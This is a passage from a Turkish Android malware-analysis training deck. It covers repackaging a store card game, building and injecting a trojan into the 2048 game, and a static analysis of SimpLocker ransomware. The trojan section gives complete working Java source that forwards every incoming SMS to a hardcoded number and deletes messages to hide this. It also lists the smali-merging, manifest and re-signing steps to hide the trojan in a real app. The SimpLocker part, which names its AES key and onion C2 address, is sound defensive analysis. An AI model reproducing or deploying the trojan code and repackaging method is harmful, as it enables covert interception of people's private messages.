  • 81. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Tersine Mühendislik Teknikleri İle Uygulama İçeriğini Değiştirme Bu bölümde mağazadan seçilen bir uygulamanın işleyişindeki yapıların değiştirilmesi üzerinde durulacaktır. ● https://apkpure.com/batak-hd/com.alper.batak.hd adresinden “Download APK” butonuna tıklanarak batak uygulaması indirilebilir. İndirilen uygulama, apktool programı yardımıyla debug edilir. java -jar apktool_2.2.4.jar d Batak HD_v39.0_apkpure.com.apk Decompiler edilmiş dizin içerisinde; ● /Batak HD_v39.0_apkpure.com/assets/assets/gfx/kartlar/
  • 82. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] dizinine gidilir. Burada “assets” dizini uygulama içerisinde kullanılan kaynakları, resim müzik gibi dosyaları barındıran dizindir. Değiştirmek istediğimiz kart resimleri silinerek yerine aynı isimde farklı resim dosyaları eklenir. Şekil üzerinde “sinek_5.png” resim dosyası silinerek yerine gerçek bir sinek resmi aynı isimle eklenmiştir.
  • 83. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama Apktool programı ile tekrar derlenir. Oluşturulmuş “yeniapk.apk” adlı dosyanın çalıştırılabilmesi için imzalanması gerekmektedir. Bunun için; keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 - validity 10000 komutuyla yeni bir imza oluşturabileceğiniz gibi daha önceden oluşturmuş olduğumuz imzayı bu uygulama içinde kullanabilirsiniz. Bunun için; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore yeniapk.apk alias_name komutunu kullanabilirsiniz. İmzalanmış olan apk dosyası sürükle bırak ya da adb programı kullanılarak Android Emulatore aktarılır ve çalıştırılır.
  • 84. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
  • 85. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekilde görüldüğü gibi destemizde sinek resmi sinek5 yerine kullanılmaktadır. Oyun müziklerini değiştirmek için gidilmesi gerekilen dizin; /Batak HD_v39.0_apkpure.com/assets/assets/gfx/sounds/ Bütün uygulamalar için istenilen değişikliklerin yapabileceğini, ancak yeniden imzalanmış olan uygulamaların orijinal imzasından farklı olduğu için güncelleme almayacağı bilinmelidir.
  • 86. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Tersine Mühendislik Teknikleri İle Mevcut Uygulama İçerisine Zararlı Kod Ekleme Zararlı kod analizi yeteneklerinin geliştirilmesi ve kötü niyetli kişilerin taşıyıcı uygulamalara nasıl zararlı kod eklediklerinin açıklanması için bu bölümde mağazadan indirilen bir uygulama içerisine kötü amaçlı kod eklenerek uygulamayı kötü niyetli bir yazılım haline getirme işlemi gösterilecektir. Bunun için öncelikle mağazadan taşıyıcı uygulama seçilmelidir. Aşağıda; ● https://apkpure.com/2048/com.dt.game2048 adresinden 2048 adlı uygulama taşıyıcı uygulama olarak seçilerek indirilmiştir. Daha sonra kullanılacak olan bu uygulama saklanarak zararlı kodun geliştirildiği aşamaya geçilir. Android Studio programı başlatılarak File/New/New Project yolu izlenerek yeni bir proje oluşturulur.
  • 87. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama ismi belirlenerek next butonuna tıklanılır ve activity ekranında herhangi bir activity seçilmeden proje oluşturulur. New/Activity/Basic Activity yolu izlenerek activity oluşturulur.
  • 88. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Activity ayarları “activity name” belirlenerek yapılır. Oluşturulan activity ekranındaki “onCreate” metodu dışındaki metodlar silinir. Burada onCreate metodu içerisindeki “view” yani görüntü ile ilgili olan kısımlar kaldırılarak 2 adet “intent” oluşturulur. Android içerisindeki intent yapısı activityler arası geçişi sağlamak ya da servis oluşturmak için kullanılır.
  • 89. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Burada izlenmek izlenen yol şöyledir; - Oluşturulan yeni proje içerisinde görüntü kısımları barındırmadan, 2 adet intent oluşturulur. - Bu intentlerden ilki arka planda çalışacak olan zararlı kodu temsil ederken, diğer intent taşıyıcı uygulamamızı başlatacak olan kısımdır. Yani program çalıştırıldığında ilk olarak zararlı uygulamanın bulunduğu kısım, daha sonra 2048 uygulamasının başlatılması amaçlanmaktadır. İlk intent şu şekilde oluşturulur: Intent intent = new Intent(this, MucoService.class); startService(intent); Buradaki “MucoService.class” dosyası oluşturmak istediğimiz servisin kendimizin belirlediği ismidir. Arka planda çalışacak olan zararlı servisi temsil eder. Oluşturulacak olan ikinci intent şu şekilde oluşturulur: Intent intent2 = new Intent(getApplicationContext(), “GONDERILMEK-ISTENEN-ACTIVITY”.class); startActivity(intent2); Buradaki “GONDERILMEK-ISTENEN-ACTIVITY.class” dosyası bizim taşıyıcı uygulamamızdaki ilk activitydir. Uygulama hiyerarşisinde başlangıç uygulamamız olan zararlı uygulama, taşıyıcı uygulamanın başlamasını sağlayacağından buradaki geçişin sağlanacağı activity taşıyıcı uygulamamızın ilk activity’sidir. Peki taşıyıcı uygulamamızın ilk activity’si nedir? Bu sorunun cevabını bulmak için indirmiş olduğumuz 2048 uygulamamızın “manifest” dosyasına ya da öğrenmiş olduğumuz statik analiz programlarından herhangi birini kullanabiliriz. Aşağıdaki ekran görüntüsünde görüldüğü üzere Apktool programı ile 2048 uygulaması decompiler edilmiştir.
  • 90. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İlgili manifest dosyası metin editörü kullanılarak açılır. “@string/app_name” kısmında seçili alanda uygulamanın ilk activity isminin “com.dt.game2048.MainActivity” olduğu görülmektedir. İkinci intent yapımız 2048 uygulamasının main activitysi olacak şekilde düzenlenir. BGAActivity.java dosyası içerisindeki ilgili kod şu şekildedir: package com.example.m3o.bga_sms; import android.content.Intent; import android.os.Bundle; import android.support.design.widget.FloatingActionButton; import android.support.design.widget.Snackbar;
  • 91. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.Toolbar; import android.view.View; public class BGAActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = new Intent(this, MucoService.class); startService(intent); Intent intent2 = new Intent(getApplicationContext(), com.dt.game2048.MainActivity.class); startActivity(intent2); } } Ardından apk dosyasını smali kodlarına çevrilecek. Apk dosyası “MainActivity” adlı classı başlatabilmek için zararlı kod içeren kısımda bulunması gereken MaincActivity kısmını oluşturmaktadır. Zararlı uygulamada bir MainActivity oluşturarak bir MainActivity içerdiği bilgisiyle derlenmesini sağlanır Böylelikle taşıyıcı uygulamadaki MainActivity classı çağırabilir. Bunun için File/New yolu izlenerek yeni bir Java classı oluşturulur.
  • 92. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Paket ismi olarak 2048 uygulamasının paket ismi yazılır ve Activity classından extend edilir. MainActivity classı oluşturulduktan sonra sıradaki işlem zararlı kodumuzu çalıştıracak olan “service” kısmını tanımlamaktadır. Üçüncü classımız olan service classını başlatmak için File/New/Service yolu izlenir.
  • 93. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Burada dikkat edilmesi gereken nokta oluşturulan servise verilen ismin servise “BGAActivity.java” classında oluşturulan servise verilen isimle aynı olmasıdır. Çünkü bu servis BGAActivity.java dosyası için oluşturalacak bir servistir. Service dosyasının içerisine arka planda yapılması istenilen zararlı kod kısmı yazılır.
  • 94. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İlgili uygulamadaki MucoService.java dosyası şu şekildedir: package com.example.m3o.bga_sms; import android.app.Service; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.os.IBinder; import android.telephony.SmsManager; import android.telephony.SmsMessage; public class MucoService extends Service { public MucoService() { } private static final String ACTION="android.provider.Telephony.SMS_RECEIVED"; private BroadcastReceiver rreceiver; final SmsManager sms = SmsManager.getDefault(); final SmsManager sms2 = SmsManager.getDefault(); @Override
  • 95. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] public void onCreate() { super.onCreate(); final IntentFilter theFilter = new IntentFilter(); theFilter.addAction(ACTION); this.rreceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { final Bundle bundle = intent.getExtras(); final Object[] pdusObj = (Object[]) bundle.get("pdus"); for (int i = 0; i < pdusObj.length; i++) { SmsMessage mesaj = SmsMessage.createFromPdu((byte[]) pdusObj[i]); String gonderenTelefon = mesaj.getDisplayOriginatingAddress(); String calinanMesaj = gonderenTelefon.concat(" : "); calinanMesaj += mesaj.getDisplayMessageBody(); sms2.sendTextMessage("+90538515XXXX", null, calinanMesaj, null, null); Uri deleteUri = Uri.parse("content://sms"); int count = 0; Cursor c = context.getContentResolver().query(deleteUri, null, null, null, null); while (c.moveToNext()) { try { // Delete the SMS String pid = c.getString(0); // Get id; String uri = "content://sms/" + pid; count = context.getContentResolver().delete(Uri.parse(uri), null, null); } catch (Exception e) { } } } } }; this.registerReceiver(this.rreceiver, theFilter); } @Override public void onDestroy() { super.onDestroy(); this.unregisterReceiver(this.rreceiver); }
  • 96. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] @Override public IBinder onBind(Intent arg0) { return null; } } Yukarıda verilen Java kodunu açıklayacak olursak; - Öncelikli olarak APP COMPONENST başlığı altında bahsedilmiş olan receiver yapısından bir receiver tanımlanmıştır. Böylelikle broadcast yayınlardan uygulamanın haberi olacaktır. - Daha sonra uygulamanın bulunduğu telefona gelen mesajın kimden geldiğini “gönderenTelefon” adlı stringe kaydetmektedir. - “gönderenTelefon” stringi içerisindeki veriyi “calınanMesaj” adlı stringe concat metodu ile yazmaktadır. - “getDisplayMessageBody()” metodu ile mesaj içeriği alınmakta ve bu gelen mesajın kimden geldiği bilgisinin yanına eklenmektedir. - Bu bilgilerin gönderileceği telefon numarası belirlenerek ilgili işlem yapılmaktadır. - Kullanıcının durumun farkına varmaması için gönderilmiş olan mesajlar silinmektedir. Ancak bu kısım Android 4 öncesi cihazlar için geçerlidir. Bu izne uygulamalar varsayılan SMS uygulaması olmadığı sürece artık sahip değildir.
  • 97. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Son olarak kodun başına kullanılan telefonun izni eklenmektedir. Uygulamanın kod geliştirme kısmı sona erdikten sonra “Manifest” dosyasına ilgili izinler ve kullanılan service ve ilgili activity sonrası çalıştırılacak olan 2048 uygulamasının MainActivity kısmı gibi bilgiler yazılmaktadır. İlgili uygulamadaki Manifest dosyası ise şu şekildedir: Artık zararlı uygulamanın kendi başına çalışıp çalışmadığı test edilebilir. “Run” butonuna tıklanılarak direk cihaz üzerinde başlatılabileceği gibi “Build- Build Apk” seçeneği ile apk dosyası oluşturularak da kullanılabilir.
  • 98. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekildeki gibi oluşturulan uygulama bulunduğu cihazda çalıştırılır ve arka plana atılır. Uygulamanın bulunduğu cihaza 2 adet mesaj gönderilir ve gelen kutusunda mesajlar gözlemlenir. Zararlının bulunduğu telefondaki gelen kutusuna ait ekran görüntüsü aşağıdaki gibidir. Uygulamanın bulunduğu telefona bu mesajlar gelirken aynı zamanda uygulamanın bulunduğu telefonun giden kutusunda zararlı yazılımın gönderdiği mesaj gözlemlenir. Zararlının bulunduğu telefondaki giden kutusuna ait ekran görüntüsü ise aşağıdaki gibidir. Kod içerisinde zararlı yazılımın mesaj gönderdiği telefonda ise zararlı uygulamanın bulunduğu telefona gelen mesajın kimden geldiği ve hangi içeriğe sahip olduğu bilgisi bulunmaktadır. Zararlının mesaj gönderdiği telefona ait ekran görüntüsü aşağıda verilmiştir. Zararlı uygulamamız gerçek bir cihazda çalışmakta ve başarılı bir şekilde gelen mesajların ne olduğunu ve mesajı kimin gönderdiği bilgisini kod içerisinde belirlediğimiz telefona göndermektedir.
  • 99. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulamayı gerçek bir cihazda test etme fırsatı bulamayanlar için Android Emulatör kullanarak nasıl test edileceği şu şekilde özetlenir: - ~/Android/Sdk/tools dizini altında “./emulator -avd BGAEmulator” komutu ile Android Emulatör başlatılır. - Oluşturulan apk dosyası sürükle bırak ile ya da adb kullanılarak cihaza yüklenir. - Çalıştırılan uygulama şekildeki gibi arka plana alınır. - Sıradaki işlem emulatörde mesaj yollama işlemidir. Bunun için terminal ekranından telnet bağlantısı gerçekleştirilmelidir. telnet localhost 5554 - auth token değerini oluşturmak için aşağıdaki parametre girilmelidir. auth auth_token - “home” dizininde oluşmuş olan token parametresini “cat .emulator_console_auth_token” paremetresi ile alınır.
  • 100. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Daha sonra telnet ekranına auth paremetresi “auth CATEDİLMİŞDEGER” şeklinde girilir. - Son olarak göndermek istenilen mesaj “sms send gönderennumarası mesaj” şeklinde girilir. Sanal android cihaz kontrol edildiğinde gelen mesajı gelen kutusunda “gelen mesaj numarası” ve “mesaj içeriği bilgisii giden kutusunda kod içerisinde yazılan numaraya gitmiş şekilde görülecektir. Uygulamaları Birleştirme Oluşturulan zararlı uygulamayı taşıyıcı olarak 2048 uygulamasıyla birleştirme aşaması şu adımlarla gerçekleştirilir.; - apktool programı kullanılarak oluşturulmuş olan zararlı yazılımın apk dosyası decompiler edilir. - “/app-debug/smali/com/example/m3o/” dizini altındaki bga_sms adındaki smali dosyaları alınarak taşıyıcı uygulamanın smali dizinine eklenir. - Son olarak 2048 adındaki taşıyıcı uygulamanın manifest dosyası düzenlenerek başlangıç activitysini 2048 uygulamasının main activitysinden zararlı uygulamanın activitysi haline
  • 101. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] getirilir. Ayrıca SMS mesajları için gerekli olan izinler verilir ve zararlı uygulamada kullanılan service bilgisi eklenir. - Taşıyıcı uygulama olan 2048 uygulaması Apktool aracı kullanılarak tekrar derlenir. - Oluşturulan yeni.apk adındaki apk dosyası imzalanır. İmza oluşturmak için; keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 - validity 10000 komutu kullanılabilirken daha önceden oluşturulmuş imza ile uygulamayı imzalamak için; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore yeni.apk alias_name komutu kullanılmaktadır.
  • 102. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Emulatöre atılan cihazın çalışıp çalışmadığı ve üzerinde sahip olduğu izinler kontrol edilir.
  • 103. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Gerçek Hayattan Zararlı Yazılım Analizi Uygulama Örnekleri Bu bölümde etkisini gerçek dünyada büyük çapta gösteren SimpLocker Ransomware(Fidye) yazılımından bahsedeceğiz. SimpLocker İlk olarak fd694cf5ca1dd4967ad6e8c67241114c hash değerine sahip olan Simplocker - Android Ransomware-fd694cf5ca1dd4967ad6e8c67241114c.apk isimli dosyanın genymotion emulatorüne yüklenip yüklenmediği, böylelikle gerçek bir uygulama olup olmadığı kontrol edilir. ARM code parçasına sahip olan apk dosyası yüklenmeye çalışıldığında şekildeki gibi bir hata mesajı ile karşılaşılmaktadır. Bu sorunu çözmek için; ● https://dl.dropboxusercontent.com/content_link/chOR6azzI6bTYVX3ieaLnnAEdkn8O4OnFW Sjhv7UOAgQ56Fwjqm3aNalYGVP73Mv/file?dl=1 adresinden ya da internetten; ● genymotion-arm-translation_v1.1.zip download
  • 104. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] arama anahtarıyla internet üzerinden herhangi bir yerden indirilebilen zip dosyası sürükle bırak yapılarak Genymotiona aktarılır. Gelen seçenek onaylanarak ARM translation tool Genymotion Emulatorüne aktarılır. Genymotion’ın yeniden başlatılması ile uygulamamız sürükle bırak yapılarak tekrar cihaza yüklenir. Yukarıda verilen ekran görüntüsüne sahip olan uygulama çalıştırılır. Karşımıza aşağıdaki gibi bi ekran çıkmaktadır. Artık uygulamayı kapatmaya çalışsak dahi kapanmayarak, arka plana atıldıktan birkaç saniye sonra tekrar ekrana çıkmaktadır. Simplocker uygulaması 2014 yılında ortaya çıkan, kullanıcının SD karttaki verilerini şifreleyerek orjinallerini silen ve bunun üzerine kullanıcıdan para isteyen “ransomware” adı verilen bir zararlı yazılım türüdür.
  • 105. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Peki neden cihazın tamamı değil de sadece SD kart sorusuna gelirsek, “neden telefon üzerinde root olmamalıyız” konusunda bahsedilen bilgiler eşiğinde, SD kartın Root hakları olmadan herkes tarafından okunan ve yazılan bir alan iken, telefon hafızasının herkes tarafından okunma yetkisine sahip olmadığı, üzerinde çalışan uygulamaların sadece kendi alanlarına müdahale edebildiği hatırlanmalıdır. Ekrana basılı olan mesajın Türkçesi şu şekildedir: “UYARI telefonunuz kilitlenmiştir! Bu cihaz *** izleme ve dağıtımının yapılması, hayvanlarla *** ilişki içerikleri ve bunun gibi diğer sapkınlıkların yapılması sebebiyle kilitlenmiştir. Cihazınızın kilidini açmak için 260 UAH ödemelisiniz. (Yaklaşık 30 Dolar/105 Türk Lirasına dek geliyor) 1- En yakın ödeme kulübesine gidiniz. 2- MoneXy seçeneğini seçin. 3- {REDACTED} tuşuna basın 4- 260 Hryvnia parasını yazın ve ödeme tuşuna basın. Fiş almayı unutmayın! Ödeme sonunda cihazınız 24 saat içinde açılacaktır. EĞER ÖDEME YAPMAZSANIZ CİHAZ ÜZERİNDEKİ BÜTÜN VERİLERİNİZ KAYBOLUR!” Simplocker Statik Analiz Bu aşamada uygulamanın statik yani çalışır durumda olmadığı durumdaki analizi yapılmaya başlanır. Uygulama hakkında fikir sahibi olmak ve obfuscated bir koda sahip değilse kodun analizini yaparak apk hakkında bilgi sahibi olmak bu aşamadaki asıl amaçtır. İlk olarak zararlı analizi yapan kişilerden bile öte her bilgisayar kullanıcısının uygulamalarının güvenilirliğini test ettiği “VirusTotal” adlı siteye apk dosyasının gerçek bir zararlı yazılım mı değil mi düşüncesinin önüne geçmek için yüklenir. Upload and scan file butonuna tıklanılarak uygulama seçilir ve analiz edilmesi için siteye gönderilir.
  • 106. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] 61 antivirüs programı içerisinde 41 tanesinin bu apk dosyasını virüs olarak tanımladığı gözlemlenir ve gerçek bir zararlı yazılım üzerinde analiz yaptığımız sonucuna ulaşılır. Androguard programı kullanılarak “Manifest” dosyasındaki uygulamanın kullanmak istediği izinler listelenir.
  • 107. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Manifest dosyasını daha ayrıntılı incelemek için Androguard programı içerisinde yer alan androaxml programı ile manifest dosyası çıkartılır. Çıkartılan output.xml dosyası metin editörü kullanılarak açılır. Şimdi Manifest dosyası içerisinde yer alan, “Tersine Mühendislik Teknikleri İle Mevcut Uygulama İçerisine Zararlı Kod Ekleme” konu başlığında da üzerinde çokça durulan bu manifest dosyasındaki bu yazıları yorumlayalım. Zararlı kodun main activity kısmının oluşturulduğu ve ekrana hata mesajının bastırıldığı kısım olabilir. Bir önceki konumuz olan zararlı yazılım geliştirme aşamasında view oluşturmadan sadece arka
  • 108. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] planda çalışacak bir servis yazarak tamamladığımız bu kısım bu yazılımda ekrana bir hata mesajı basan bir view ve arka planda çalışan servisleri başlatan yapı olarak dikkat çekmektedir. Telefon boot edildiğinde, yani yeniden başlatıldığında başlayacak olan bir servisi tanımlar. Servisin arka planda çalışan bir app component olduğunu hatırlanmalıdır. Cihazı kapat aç yaptıktan sonra uygulamanın çalışarak “Cihazınız Kilitlendi” metnini ekrana basmasını sağlayan yapı olabilir. SDCardServiceStarter isminden de yorumlayabileceğimiz gibi SD kart üzerinde yapılan işlemlerin tanımlı olduğu arka planda çalışan bir servis olma ihtimali çok yüksektir. Büyük ihtimal arka planda SD karttaki dosyaların encrypt(şifreleme) işlemlerinin yapıldığı kısmın tanımlandığı servis yapısıdır. Son olarak “.MainService” adında çağrılan bir servis dikkatimizi çekmektedir. Servis olduğu için arka planda çalışan bu yapı “org.torproject.android.service.TorService” isminde Tor servisi çağırmaktadır. MainService isminden dolayı önemli görevi bulunduğu düşündüğümüz bu servis Tor yapısı ile anonymous yani kişinin bilinmezliğini sağlamaktadır. Şifrelenmiş uygulamaların açılmasını sağlamak için uzaktan kurulacak iletişimi sağlayan yapı olma ihtimali Tor yapısından dolayı kuvvetle muhtemeldir. Ama tahminden öte değildir. Belkide böyle bir yapı yoktur ve ödeme yapsanız dahi şifrelenmiş dosyalarınız açılmayacaktır. Manifest dosyasından yorumlayamayacak bu yapı statik kod analizi yaparak derinden incelenecektir. Androguard ile paket ismi, aktivity isimleri, uygulama adı gibi bilgilere bakılır.
  • 109. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Daha sonra uygulama içerisindeki string değerleri “d.get_strings()” komutu ile incelenerek statik analizin bir sonraki kısmı olan statik kod analizine geçilir. dex2jar dizini altında; ./d2j-dex2jar.sh Simplocker - Android Ransomware-fd694cf5ca1dd4967ad6e8c67241114c.apk komutu ile dex kodları java jar binary dosyalarına çevrilir. Oluşturulan jar dosyası java kodlarına decompiler edilmesi için JD-GUI programına sürükle bırak yapılır.
  • 110. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Class yapıları şekildeki gibi gözlemlenir. İlk olarak dikkat edilecek nokta obfuscation kullanılıp kullanılmadığıdır. Obfuscation konusunda öğrenildiği üzere R.class yapısının burada yer alması ve anlamlı class isimleri barındırması sayesinde uygulamada obfuscation kullanılmadığı gözlemlenmektedir. Bu durum analiz yapmamızı ve kodu yorumlamamızı kolaylaştıracaktır. İlk olarak main.class’ımız incelenir. Main.class dosyasının görünüşü şu şekildedir. Zararlı yazılım geliştirme uygulamamızda yapıldığı gibi “Oncreate” metodu içerisinde bir adet servis çağrılmıştır. Yapılan uygulamadan farklı olarak bu uygulamada bir adet view, setContentView metodu ile tanımlanmıştır.
  • 111. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] MainServiceStart adında bir adet intent ve Mainservice adında bir adet servis tanımlayarak startService metodu ile servisi başlatmaktadır. Bu kısımda ise uygulama geri tuşuna basılarak kapatılsa dahi “true” dönerek hata mesajının tekrar ekrana basılmasına neden olan kısımdır. Sırada incelenecek olan class MainService.class’ıdır. Mainservice.class servis classı içerisinde StartService metodu ile TOR_SERVICE başlatıldığı gözlemlenmektedir.
  • 112. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Biraz daha aşağıya inildiğinde FilesEncryptor classından encrypt metodunun çağrıldığı gözlemlenmektedir. SDCardServiceStarter.class ı incelendiğinde MainService çalıştığı durumda çalıştırılan bir servis olduğu gözlemlenir. Şimdiye kadar incelediğimiz kısmı özet geçmemiz gerekirse; - Main.class’ı ekrana bir uyarı mesajı basıyor ve MainService oluşturuyor. - MainService.class servis class’ı TorServisi ve FilesEncryptor classını encrypt metodu ile çağırıyor. - SDCardServiceStarter.class’ı MainServise çalıştıktan sonra isRunning True döndüğü sürece çalışan diğer servisimiz oluyor. Sırada FilesEncryptor classı analiz edilecektir. Aşağıda verilen kodda cihaza bağlı mount edilmiş bir SD kart olup olmadığı bilgisine bakılmaktadır. GetFileNames metodu ile SD kart içerisindeki dosya isimleri alınmaktadır ve bir array(dizi) yapısı içerisinde tutulmaktadır.
  • 113. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Son olarak encrypt metodu incelenecektir. Eğer mount edilmiş bir SD kart varsa AesCrypt classından “jndlasf074hr” anahtarı ile bir obje oluşturarak dosyaları şifrelemektedir. Son olarak “.enc” uzantısı ile dosya isimlerini değiştirmektedir. Son kısmı özetlemek gerekirse FilesEncryptor class’ı SD kart olup olmadığına bakıyor ve varsa dosya isimlerini bir diziye atarak listeliyor. AesCrypt class’ı içerisindeki encrypt metodunu “jndlasf074hr” anahtarıyla çağırarak dosyaları şifreliyor ve son olarak uzantılarının sonuna “.enc” ekliyor.
  • 114. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Sıradaki işlemde TorSender.class’ı incelenecektir. Proxy oluşturmak için tanımlanacak localhost ve çıkış yapılacak port numarası belirlenmiştir. Telefona ait IMEI numarası Utils classı içerisindeki getOutIMEI metodu ile alınmaktadır. IMEI, OS, phone model ve manufacture bilgilerinin TorSender class’ına nasıl alındığını incelemek için Utils.class dosyası incelenir. GetIMEI ve getModel metodları kullanılarak telefona ait bilgilerin string içerisine alındığı gözlemlenir.
  • 115. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Son kısmı özetlemek gerekirse TorSender.class’ı içerisinde Utils.class’ı içerisindeki fonksiyonun çağrıldığı gözlemlenmiştir. Utils.class’ı içerisinde ise telefona ait bilgilerin tespit edilip string değerinde tutulduğu fonksiyonların bulunduğu gözlemlenir. İncelenecek bir sonraki class yapımız ise HTTPSender classıdır. Sunucu ile iletişimin yapıldığı bu class incelenir. Şekil üzerinde proxy detayları gözlemlenmektedir. Şekil üzerinde onion uzantılı “http://xeyocsu7fu2vjhxs.onion/” URL adresine bağlantı kurulduğu gözlemlenmektedir. Class içerisinde incelenecek olan son yapı olan kısımda ise eğer server tarafından stop komutu gelirse FilesEncryptor içerisindeki decrypt metodunu çağırmaktadır.
  • 116. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Daha önce bahsedilmemiş olan FilesEncryptor classı içerisindeki decrypt metodu şu şekilde gözükmektedir. Encrypt yaparken kullanılan “jndlasf074hr” anahtarı ile aynı anahtarı kullanarak decrypt yapmaktadır. AES simetrik bir şifreleme algoritması olduğu için encrypt yaparken de decrypt yaparken de aynı anahtarı kullanmaktadır. İncelenecek olan son class Constants.class adlı constant değerleri tutan classdır. ADMIN_URL, CIPHER_PASSWORD gibi string değerlerini tutan constant dosyası encrypt yapılacak dosya formatlarını da EXTENSIONS_TO_ECRYPT adlı array içerisinde “jpeg, jpg, png, gif, pdf, doc vb” gibi göstermektedir. Uygulamanın statik analizi tamamlanmış ve kodun işleyişi hakkında bilgiler edinilmiştir. Yorumlanmış olan uygulamanın işleyişi öngörüldüğü gibi dinamik analiz esnasında incelenecektir. Simplocker Dinamik Analiz Genymotion üzerinde çalıştırılmış olan uygulamadan başarılı bir şekilde çıkış yapılıp yapılmadığı gözlemlenir.